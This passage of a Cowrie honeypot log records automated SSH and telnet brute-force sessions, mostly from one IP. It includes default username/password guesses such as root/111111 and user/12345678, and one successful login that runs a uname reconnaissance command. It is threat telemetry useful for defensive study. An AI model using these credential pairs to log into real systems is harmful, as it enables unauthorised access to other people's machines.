penssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:27.092917Z","src_ip":"91.92.42.227","session":"bc3f5fc82826","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:27.959579Z","src_ip":"91.92.42.227","session":"bc3f5fc82826","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:28.380525Z","src_ip":"91.92.42.227","session":"bc3f5fc82826","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:28.383386Z","src_ip":"91.92.42.227","session":"bc3f5fc82826","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:28.540995Z","src_ip":"91.92.42.227","session":"bc3f5fc82826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:28.546495Z","src_ip":"91.92.42.227","session":"bc3f5fc82826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34628,"dst_ip":"10.17.0.5","dst_port":22,"session":"13f2e51068be","protocol":"ssh","message":"New connection: 91.92.42.227:34628 (10.17.0.5:22) [session: 13f2e51068be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:33.488096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:33.566807Z","src_ip":"91.92.42.227","session":"13f2e51068be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:33.644746Z","src_ip":"91.92.42.227","session":"13f2e51068be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:34.433482Z","src_ip":"91.92.42.227","session":"13f2e51068be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:35.724696Z","src_ip":"91.92.42.227","session":"13f2e51068be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60670,"dst_ip":"10.17.0.5","dst_port":22,"session":"c936986d1467","protocol":"ssh","message":"New connection: 91.92.42.227:60670 (10.17.0.5:22) [session: c936986d1467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:39.981782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:40.035557Z","src_ip":"91.92.42.227","session":"c936986d1467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:40.131721Z","src_ip":"91.92.42.227","session":"c936986d1467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37430,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd3e0b3b6926","protocol":"telnet","message":"New connection: 172.81.62.90:37430 (159.203.135.109:23) [session: cd3e0b3b6926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:40.361698Z"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:40.677274Z","src_ip":"91.92.42.227","session":"c936986d1467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:42.204854Z","src_ip":"91.92.42.227","session":"c936986d1467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52086,"dst_ip":"10.17.0.5","dst_port":22,"session":"283c5104d2b0","protocol":"ssh","message":"New connection: 91.92.42.227:52086 (10.17.0.5:22) [session: 283c5104d2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:46.778595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:46.838390Z","src_ip":"91.92.42.227","session":"283c5104d2b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:46.916599Z","src_ip":"91.92.42.227","session":"283c5104d2b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:47.425569Z","src_ip":"91.92.42.227","session":"283c5104d2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:48.515793Z","src_ip":"91.92.42.227","session":"283c5104d2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52116,"dst_ip":"10.17.0.5","dst_port":22,"session":"81f50842b01e","protocol":"ssh","message":"New connection: 91.92.42.227:52116 (10.17.0.5:22) [session: 81f50842b01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:53.461109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:53.562857Z","src_ip":"91.92.42.227","session":"81f50842b01e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:53.566104Z","src_ip":"91.92.42.227","session":"81f50842b01e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:54.331349Z","src_ip":"91.92.42.227","session":"81f50842b01e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:57:55.435851Z","src_ip":"91.92.42.227","session":"81f50842b01e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40250,"dst_ip":"10.17.0.5","dst_port":22,"session":"f28a067edebe","protocol":"ssh","message":"New connection: 91.92.42.227:40250 (10.17.0.5:22) [session: f28a067edebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:00.007207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:00.182487Z","src_ip":"91.92.42.227","session":"f28a067edebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:00.187619Z","src_ip":"91.92.42.227","session":"f28a067edebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:01.754173Z","src_ip":"91.92.42.227","session":"f28a067edebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:03.071729Z","src_ip":"91.92.42.227","session":"f28a067edebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41388,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e949985ff86","protocol":"telnet","message":"New connection: 128.199.8.54:41388 (159.203.135.109:23) [session: 3e949985ff86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:05.461995Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34474,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca8e95f0f827","protocol":"ssh","message":"New connection: 91.92.42.227:34474 (10.17.0.5:22) [session: ca8e95f0f827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:06.576207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:06.770611Z","src_ip":"91.92.42.227","session":"ca8e95f0f827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:06.785019Z","src_ip":"91.92.42.227","session":"ca8e95f0f827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:08.160711Z","src_ip":"91.92.42.227","session":"ca8e95f0f827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:09.629604Z","src_ip":"91.92.42.227","session":"ca8e95f0f827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34520,"dst_ip":"10.17.0.5","dst_port":22,"session":"81a9511a9594","protocol":"ssh","message":"New connection: 91.92.42.227:34520 (10.17.0.5:22) [session: 81a9511a9594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:13.088776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:13.415702Z","src_ip":"91.92.42.227","session":"81a9511a9594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:13.421394Z","src_ip":"91.92.42.227","session":"81a9511a9594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":47128,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c7ede648784","protocol":"telnet","message":"New connection: 102.37.220.188:47128 (159.203.135.109:23) [session: 2c7ede648784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:13.982624Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:15.041539Z","src_ip":"91.92.42.227","session":"81a9511a9594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.91605257987976,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:16.277595Z","src_ip":"172.81.62.90","session":"cd3e0b3b6926","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:16.538878Z","src_ip":"91.92.42.227","session":"81a9511a9594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49858,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ee3e8a4fc47","protocol":"telnet","message":"New connection: 172.81.62.90:49858 (159.203.135.109:23) [session: 0ee3e8a4fc47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:16.805630Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53006,"dst_ip":"10.17.0.5","dst_port":22,"session":"368d9aeb112f","protocol":"ssh","message":"New connection: 91.92.42.227:53006 (10.17.0.5:22) [session: 368d9aeb112f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:19.454934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:19.891171Z","src_ip":"91.92.42.227","session":"368d9aeb112f","protocol":"ssh"}
